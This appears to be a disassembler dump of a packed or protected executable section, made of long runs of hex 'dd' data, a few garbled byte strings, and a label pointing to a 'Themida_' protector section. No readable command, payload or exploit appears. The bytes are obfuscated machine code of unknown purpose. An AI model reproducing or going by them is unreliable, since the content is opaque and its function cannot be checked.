7B3D7AA2h dd 0BE845930h, 0C5EFD5DDh, 0C5B58BA3h, 5F07E42Eh, 6AE2F766h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 33D8C352h, 60629391h, 1429858Bh, 0D78B07E4h dd 60D82B61h, 1E619589h, 952907E4h, 7E40245h, 0BE669361h dd 0E850204Bh, 6, 59D99D5Dh, 0EE8F763h, 0A3000000h, 1D9FF66Ch dd 577F0442h, 2BF0EAE8h, 5F61605Ah, 0B70F935Eh, 0A5B58BF7h dd 0FF07E40Bh, 0E42AD5B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 26EEF067h dd 1B5890Ah, 0FF07E404h, 0E40E4195h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0B59D89AEh dd 907E427h, 0E42FED85h, 6600B007h, 358FE681h, 6A70E6F8h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0FBD2C355h, 897FE00Dh, 0E4040185h, 8971E407h dd 0E4064D85h, 0C7816607h, 613C17C9h, 229830Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0BF30D2C3h, 14E92537h, 66D8B60Fh, 0BA592DBFh, 6, 3850Fh dd 8B660000h, 0E9C38BF1h, 7, 0CE661514h, 0C140B4B1h, 6A04E8h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0D6530CC3h, 0C68DEE39h, 52E1FAE9h, 58E0Fh, 81660000h dd 5E2E23EFh, 6AE2F766h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 5639C353h, 52E2F800h dd 0FE957h, 5CE40000h, 6904A4ABh, 0D026640Eh, 6E7A7D18h dd 2B5E5F9Ah, 68F0FD8h, 89000000h, 0E40E2995h, 0BD8B5807h dd 7E400EDh, 880FD82Bh, 157h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 89C35242h, 6713D27Ah, 90805577h dd 0B58960CBh, 7E409F5h, 0F618509h, 0B96107E4h, 7, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BFC35242h, 53D65D30h dd 850F09C0h, 5, 91EF8166h, 19CE8182h, 0F0ABE65h, 0C183FEBFh dd 61B58900h, 3B07E40Bh, 0D8860FD9h, 9000000h, 0E401A1BDh dd 0D98C6607h, 13E9h, 4F4DC900h, 504BDB2Bh, 0C4BC784h dd 0E13D7863h, 73436134h, 0BE9h, 95CFB900h, 0A53405B0h dd 57DC5E8Eh, 0F04C1F6h, 9784h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 880F2CE7h dd 6, 0A29B531h, 95FF07E4h, 7E42D91h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 9FC35141h, 334DE5F5h, 880F9274h dd 5, 0BEDE8166h, 0C32B5BA0h, 8B0Fh, 343D0000h, 0F000008h dd 2786h, 29E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 51A10BC3h, 0F6B70FE8h dd 0ACBFC08Bh, 8B51CCB8h, 0E8D88BC3h, 0Bh, 0A8CCFFDCh dd 0FB333A91h, 0F7C64CCh, 587h, 539BF00h, 0C75E69B7h, 0E406FD85h dd 0FE95307h, 0B5950137h, 8B07E427h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 8EB0D893h dd 79A4CE83h, 1AA19D29h, 5F5107E4h, 2AD5BD81h, 7D007E4h dd 850F0000h, 32h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 45C35242h, 0A33CB076h, 19E19D89h, 85FF07E4h dd 7E42AD5h, 1B7D8589h, 0B5FF07E4h, 7E42AD5h, 9F8858BFh dd 4195FF3Ah, 6607E40Eh, 6A90F88Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 96D1C352h dd 0BA6D6E97h, 0FCE65555h, 3F78A60h, 0E429F9B5h, 0C6BF0F07h dd 6E9h, 7BDC2200h, 61CAF671h, 0BDE78166h, 51006A1Eh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0A0CCF7C1h, 70D3C75Ch, 7E855A8h, 0D000000h, 61BF4F81h dd 11E91554h, 3A000000h, 166DB210h, 0FE92EC35h, 2E4F8A3Ah dd 1B60F2FDh, 7BDE8166h, 0B58B5EA3h, 7E40B51h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 5AC35141h, 2B336F8Ah dd 0E415C5B5h, 89DE8107h, 0E9462F00h, 0Ch, 0BF2DF4B3h dd 8BD511BFh, 0EE6834E2h, 9E8h, 16916C00h, 78F001h, 8D89864Ah dd 7E405B5h, 57006A5Eh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 98814C78h, 952B60C6h, 7E4237Dh, 3047D881h dd 0FE82D4Fh dd 75000000h, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 8B663C38h dd 8D9D8BC3h, 5B07E42Dh, 0FE8B6661h, 0FFF82BE9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 39D8320Bh, 137A00C8h, 0CE84Fh, 3F020000h, 0C555AA2Ch dd 3D0CAD91h, 12E9A0ADh, 65000000h, 5AD9FC74h, 20587C7Eh dd 0E8C891E6h, 417438F5h, 0FD9D01CFh, 5F07E419h, 10E8h dd 0FE1B1600h, 0CB8E0801h, 4BB99AAAh, 1DA68D4Eh, 0F3EDBFC3h dd 13BF0247h, 5E705521h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0EBD3E5C3h, 4, 14E900h dd 0A6C80000h, 34418B22h, 53B26601h, 0F978DF7Ch, 0EB3224F2h dd 6A91CBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0CD4B16C3h, 0B7E90DFAh, 0FB271FFh, 684h dd 0FDB58B00h, 8D07E42Dh, 0E40D8585h, 0B58B5707h, 7E415ADh dd 0BF50905Fh, 3F2E41C7h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6DC74650h dd 2C0D9529h, 6A07E4h, 820Fh, 6A0000h, 0BD89FB8Bh, 7E42D3Dh dd 569B858Dh, 6A07E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0FD2218C3h, 0EB24B15Eh, 8BE0EDD5h dd 0E425CDBDh, 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 94C35141h, 4B423A86h, 0CCF9BAB9h, 12E962h dd 0FC560000h, 0D0461323h, 37616078h, 890CD9B6h, 0A24753ABh dd 820Fh, 66900000h, 500E28BFh, 0A800Fh, 52500000h, 0DE35BE66h dd 585A310Fh, 6AF990h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 2EC35141h, 0B9BE4840h, 0A558E777h, 0BE8h dd 21A1FB00h, 9A9762BDh, 0D00ADA24h, 2389BD33h, 6A5F07E4h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 31F0B0FAh, 8866E7F5h, 0FFF08B8Ch, 0E4247195h dd 0CE816607h, 9D8DF516h, 7E7D64Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 60C35747h, 0F117660Ch, 0BF46404h dd 0E409A5BDh, 6AD3FF07h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 2FE1C355h, 8DEB9C8Bh dd 0E982BD01h, 0Ah, 10174FE9h, 65BE5CE9h, 85FF3797h, 7E420B9h dd 218D9589h, 0BDE907E4h, 0E8000007h, 0 aBaevsJ db ']ν₯Vθ',7,'j',0 db 50h, 0E8h, 3 dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0C1FAC350h, 55E96B26h, 0BD89F382h, 7E41A61h, 0CAB7BE60h dd 7E93197h, 0D000000h, 0A5A902F1h, 8161ABA1h, 0E42AD5BDh dd 7D007h, 2D860F00h, 89000001h, 0E427799Dh, 999D8B07h dd 6A07E413h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0CE42C357h, 2AFA9815h, 0BF0F6A24h dd 8D0F60FFh, 1, 19D8BF8h, 6107E423h, 100E381h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 69811FC3h, 0B8FEA41h, 73850FDBh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 4BBC356h, 0B1FC0C96h, 8B72FE9Ah, 0E400A9BDh, 92BD8307h dd 7E854h, 0C840Fh, 47E90000h, 81000000h, 0E93488F7h, 85C7F574h dd 7E85492h, 1, 31E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 41F1CA37h, 85C70C22h dd 7E85492h, 0 dd 2D9531h, 9D8D07E4h, 7E41399h, 6880F51h, 0F000000h, 8Ah dd 23815F00h, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0A2C35040h, 0D844BC02h, 6ADB8C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 452C350h, 5B05118Fh, 12E538ECh, 0F04C3F6h, 4784h, 0FE900h dd 0CDF60000h, 6B691B77h, 0DF019F4Ah, 0F6B1A017h, 9195FF0Ah dd 2907E42Dh, 0E400D1BDh, 4895007h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 2627DB77h dd 36CDCFE1h, 3EDE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E8293B1Ch, 5, 79D0CD99h dd 62BE66A9h, 0B05FA3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0E1C35242h, 9860F9A6h, 0BD1E565Fh, 9DB533C9h dd 2307E403h, 0E408A1BDh, 0E470E607h, 57006A71h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 894E0F32h, 0FC57CA95h, 81D8B60Fh, 0F69849CEh, 6BA6Dh dd 0BD8B0000h, 7E41AEDh, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D29B4C3h, 7E40079h dd 73A6BE66h, 2BDBD03h, 0E8C107E4h, 0CDF8104h, 6658FC02h dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0F6546CC3h, 6AD82B37h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0FBF4C352h dd 187461DFh, 0E993D811h, 12h, 9A623E90h, 0F8638C01h, 0F782716Fh dd 70A5FED7h, 0E950596Ah, 0Bh, 6A967AD5h, 5ED03CCFh, 932E24EEh dd 65907BFh, 0D5B5FF77h, 6607E42Ah, 95FFF88Bh, 7E40E41h dd 3581BD89h, 0B007E4h, 71E470E6h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0A9C35646h, 0BF571535h, 73BFAC50h dd 613CF95Eh, 25C830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 2BBAA3C3h, 609F5524h dd 0BDA8B66h, 0E4034585h, 0B60F6107h, 6BAD8h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 692764C3h, 0CCD11BBFh, 958D89FAh, 8B07E42Dh, 0C1F38BC3h dd 0E95704E8h, 0Ah, 63E8D690h, 0E283C274h, 665E0FFCh, 9589E2F7h dd 7E402E1h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0BEC0F2C3h, 58ECF7E1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7FC35242h, 0F57F38F6h dd 0FD82BF5h, 19188h, 5D9D2900h, 0B907E405h, 7, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8DC35242h, 0F676E3D4h dd 1FEDBD8Bh, 0C18307E4h, 11E800h, 45380000h, 77062954h dd 1012BF2Ah, 1811D81Ah, 0FE91D04h, 68Dh, 9B52300h, 5F07E41Bh dd 860FD93Bh, 132h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0FC35040h, 0DF3DB6C3h, 0E9BC8E33h, 0Dh dd 68D09620h, 738A96DAh, 0E721EB20h, 0D98C66D2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AC35646h, 0C1F6AC7Eh dd 0B3840F04h, 0FF000000h, 0E42D9195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0CB402765h, 16916C14h, 6A5B01h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 54C787C3h, 0EFB7D9A3h dd 2B64D857h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0AD90C09h, 0C7FA9F1Dh, 2EA99D89h dd 343D07E4h, 0F000008h, 2D86h, 7E900h, 2070000h, 55E828EFh dd 3CE9BBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0C08BAEC3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0C9C35242h, 0C38B2D9Dh, 0BE66D88Bh dd 0B58B79FCh, 7E41F45h, 55585C7h, 0CFFD07E4h, 8BFC710Bh dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 96978E7Ch, 81F08B0Dh, 0E42AD5BDh, 7D007h dd 2E850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 3517C356h, 38B032B3h dd 0D585FFE9h, 8B07E42Ah, 0E41C71B5h, 0D5B5FF07h, 6607E42Ah dd 95FFF98Bh, 7E40E41h, 1E19BD8Bh, 8B9007E4h, 58529FEh dd 8B07E40Ah, 0E40619BDh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9FACF18h dd 0Dh, 0EB7AA82Fh, 0B48B8753h, 0B64A10A2h, 0F5BD8BF6h dd 6A07E431h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 8848C353h, 0BD09532Eh, 7E41455h dd 14E85Eh, 0DB5D0000h, 0E5AC9F5h, 0FF44F157h, 2B6BD8A4h dd 58B79C17h, 8D094215h, 7E42045h, 0ED95315Fh, 8B07E41Ch dd 0E41D75B5h, 0B8F78107h, 3355CB30h, 0E40D6DB5h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 5A531001h, 8B74ACD0h, 88C0FF0h, 51000000h, 0BE66F88Bh dd 0F85F1019h, 840F6060h, 0 aBCajpaiexFAj db 'ΘAjpa !δ',7,'aj',0 dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0B32A23C3h, 0E18992B9h, 8B8D0948h, 0E42D2DBDh, 85296007h dd 7E42155h, 9830Fh, 8B660000h, 0B58589CAh, 0B907E425h dd 600F9BDEh, 0F849E961h, 0BD33FFFFh, 7E41D21h, 6AC18Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 376A6EC3h, 4EBF679h, 0 dd 18F19531h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 42EC05C3h, 858DEC7Dh, 7E40D85h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 74C35545h dd 0BC2C9971h, 5050784Eh, 0AFC1BF52h, 310F2EE9h, 5AFB8B66h dd 24048958h, 13ED9509h, 6A07E4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 15C35545h, 0E997A1D9h, 0Eh dd 0F07F8777h, 0C9CD08D6h, 8BA21102h, 0BDBFC5C1h, 6A4F0041h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 4047D164h, 68D0Fh, 0BD8B0000h, 7E40A65h dd 2F81B58Bh, 858D07E4h, 7E8606Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0D3C35545h, 554949B5h, 26199589h dd 0C08307E4h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 40BF5414h, 5024DFBAh dd 60605250h, 6162B461h, 6660310Fh, 880FD18Bh, 0 dd 89585A61h, 89522404h, 0E4232D9Dh, 6A5F07h, 1C59B58Bh dd 0BF6607E4h, 6A7503h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 35C35747h, 0A8A0F51h, 0E9000000h, 5 dd 54B5844Eh, 7195FF19h, 0F07E424h, 9D8DFBBFh, 7E7D64Bh dd 25859501h, 0D3FF07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0C6C35141h, 6CEED62Eh, 0A13AAF93h, 0F5DBA2BEh dd 0B985FF0Dh, 6A07E420h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 2A98C357h, 68CFBE66h dd 92FE9h, 0E800h, 815D0000h, 0E86077EDh, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 12E7E1CEh, 53639528h, 0DE81663Fh, 0BD81F110h, 7E42AD5h dd 7D0h, 112860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 48B4B9C3h, 89DBC3E2h dd 0E41965BDh, 859D8B07h, 8907E423h, 0E403EDB5h, 0E38107h dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0C612C350h, 89FC4420h, 0BF88B66h dd 8D850FDBh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 9FA4C353h, 81BD83FBh dd 7E85Eh, 31840Fh, 0BD8B0000h, 7E4138Dh, 67E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 38BCB610h, 15BD8B55h, 0C707E419h, 0E85E8185h, 107h dd 858D0100h, 0E907E41Ah, 2Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 1C35646h, 5E8185C7h, 7E8h dd 0B58B0000h, 7E4035Dh, 23859D8Dh, 238107E4h, 0FFFFFEFFh dd 5696BF66h, 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F7FFC355h, 0EFC43F2Ah dd 9ABCF87Ah, 12E8h, 9C301800h, 0A020025Eh, 0E8159E20h dd 975DA3B8h, 89F9F49Fh, 0E405F98Dh, 0C3F65E07h, 7C840F04h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 284C357h, 0BD8B33BEh, 7E420D9h dd 2D9195FFh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 718B72C3h, 3FF26266h, 0E9A766DCh dd 13h, 4B415853h, 6DDD4636h, 4C6C6167h, 1694C375h, 909B098Eh dd 580BE50h, 8190283Ah, 7ABBB0F6h, 45858961h, 0E907E402h dd 4D8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 60C35747h, 0B975A2E3h, 1989B58Bh, 8B0F07E4h, 6 dd 272D9589h, 0B007E4h, 11C68166h, 6A70E644h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 62DFC355h, 8971E4F1h, 0E420C5BDh, 0D8B60F07h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 55C35646h, 73BE6650h dd 890F40h, 0BA000000h, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0FFC35343h, 0F8A91FF9h, 6AC38BC5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 5168C353h, 0FEEF9BEh, 4E8C164h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0CDC35040h, 7AD95CD2h, 281FF282h dd 5830FB8h, 0BF000000h, 6D6B0E96h, 0CE9h, 3DA8F00h, 0B7AB8D45h dd 9BC47B21h, 0E2F766EAh, 0DD1B58Bh, 0D82B07E4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h, 0E8760D89h dd 50ECD303h, 0A6DBBE66h, 81241C89h, 596854E7h, 0D5B5FF3Ch dd 6A07E42Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0F03C356h, 1047A1E9h, 0E8369AF9h dd 8, 6922452h, 738EEEAh, 2181B58Bh, 8B5F07E4h, 4195FFF2h dd 0F807E40Eh, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 27042AC3h, 0C9FC04C9h, 1EDBD23h dd 4BBE07E4h, 0E67AF9D4h, 0F78170h, 0E4720C09h, 50006A71h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0B9928945h, 14E9CA93h, 72000000h, 0BE9C90DBh, 304330A5h dd 46D92011h, 295F51CEh, 665CC9EFh, 613CF88Bh, 2BE830Fh dd 9D310000h, 7E422A5h, 6AD8B60Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC5C353h dd 81CE0C48h, 0B2D93FF6h, 6BA5Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A3BF81C3h dd 51DC005Ah, 601B4D5Dh, 22A99D31h, 815207E4h, 9C8939C2h dd 8B615F11h, 12E9C3h, 255F0000h, 76FDE95h, 9B40D7F9h dd 0DE0E43A6h, 0B88C6892h, 6A04E8C1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AA93C350h dd 0E1995C92h, 7EDF2B8h, 23D9BD8Bh, 0F76607E4h, 50006AE2h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 4770F80Eh, 9E94D39h, 0CE000000h, 0F34D25C7h, 4C216EA3h dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 756C78C3h, 0E858A1E3h, 7, 0E551147Eh, 5E7C9921h dd 880FD82Bh, 1A4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 19C35141h, 1861DBE9h, 9A036174h, 0B9F7B70Fh dd 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0B2C35646h, 0C1831Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 3C35343h, 860FD93Bh, 134h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h, 666181E7h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 4BF216C3h, 99CE1E09h, 0C1F68D53h, 0DE840F04h dd 0BE000000h, 6224C471h, 2D9195FFh, 6A07E4h, 3E856h dword_5C8B28 dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h ; DATA XREF: Themida_:00583CB4o dd 89535AC3h, 0E4237D9Dh, 6A5B5E07h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0EF66C356h dd 61D5470Ch, 2B540192h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0AED16D4Fh, 61D49B9Eh dd 3DF56DE3h, 834h, 57860Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 850FB9C3h dd 6, 2C31BD8Bh, 31E907E4h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F04CC352h dd 958967DDh, 7E42465h, 57D860BFh, 0BFC08B4Bh, 67501B41h dd 0D88BC38Bh, 10E860h, 87A70000h, 0BAC08EAFh, 846B33AAh dd 0ABA67370h, 58F93996h, 0C0EA8166h, 85C761EDh, 7E41399h dd 1F39CF3Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0DBC35646h, 0C08B16A8h, 0BD81FA8Bh, 7E42AD5h, 7D0h dd 30850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 1DBD8AC3h, 31918D01h, 853107E4h dd 7E42165h, 2AD585FFh, 0B5FF07E4h, 7E42AD5h, 3840F60h dd 66000000h, 0CB8BC28Bh, 4195FF61h, 6A07E40Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 288C352h, 6692A19Ah, 7BA9D781h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E71B250Dh dd 8AE3083Ch, 13E89Eh, 0C1410000h, 3EE04623h, 42C89BB2h dd 0D53E0D41h, 91C95AC2h, 60BE66E9h, 0BD895E3Bh, 7E4258Dh dd 197DB52Bh, 0B70F07E4h, 9BD8BF3h, 0E907E40Bh, 0Fh, 0CB6F128Ch dd 63770545h, 948FC1F5h, 0E81A2E02h, 0Dh, 0E04AE2F9h, 19A5D1D2h dd 9B5B8A8Eh, 758D89F3h, 0F07E424h, 0C8Ah, 59950900h, 8B07E42Ah dd 0E42319B5h, 8B665F07h, 57006AF8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 3641522h, 0E41C7DB5h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0CE81663Dh, 6A330Fh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9BE513C3h dd 892C7495h, 3957BF66h, 0A1958B60h, 6007E421h, 14A5B589h dd 6E907E4h, 6000000h, 0DA2582DFh, 0CE96121h, 59000000h dd 6C64FC31h, 6D3BA0C1h, 61F5EF05h, 6870Fh, 0B58B0000h dd 7E415D9h, 0FFF6F4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 1317C8B6h, 0FCBFA89Ah dd 0ED958B60h, 0B907E41Bh, 0FFFFFFFEh, 6820Fh, 0B5310000h dd 7E407D5h, 1999958Bh, 8D2107E4h, 7E43591h, 0BEC46EBBh dd 658D2134h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 3BE4C353h, 0F037CB91h dd 0C1D0A59Eh, 35918D8Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 7E7113C3h, 0E306DDC9h dd 858946E8h, 7E41B7Dh, 0F01E183h, 2585h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 1B78B48h, 77EA9987h, 8D8BD9DEh, 7E40965h, 1E183FCh dd 6850Fh, 0CE810000h, 7C6CF282h, 6A6061h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 853425C3h dd 84A50AF1h, 6ADBD29h, 816607E4h, 0B947C0DBh, 0FFFFFFFEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h dd 6CB7907Ch, 0F5BD894Ah, 2107E42Dh, 0E41AC58Dh, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 66CF4993h, 215DD8BEh, 0E406FD8Dh, 958B5107h, 7E42B4Dh dd 25CA805Ah, 1AC58D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 48B4B9C3h, 0E3DBC3E2h dd 0F8A39D2Fh, 0F01E183h, 0B85h, 8DB58900h, 0B807E406h dd 179BCEEBh, 6FD8D8Bh, 0BF6607E4h, 0E183714Dh, 0B850F01h dd 0E9000000h, 6, 5BDB5BCAh, 6061E1EAh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h, 0D761808Ch dd 12E938h, 0C1720000h, 157E25EEh, 0B9188CC8h, 23CCE8B9h dd 0CF5C2823h, 0FFFFFEB9h, 88C0FFFh, 57000000h, 17F18D89h dd 215E07E4h, 0E405558Dh, 11E907h, 99940000h, 0D499129h dd 0F88E97B6h, 0EB9789F0h, 8B7E837Eh, 998D21DFh, 0BF07E413h dd 5EC71947h, 5558D8Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 66E1D5C3h, 0F084D681h dd 0F01E183h, 2485h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 81F73941h, 0DA8930D6h dd 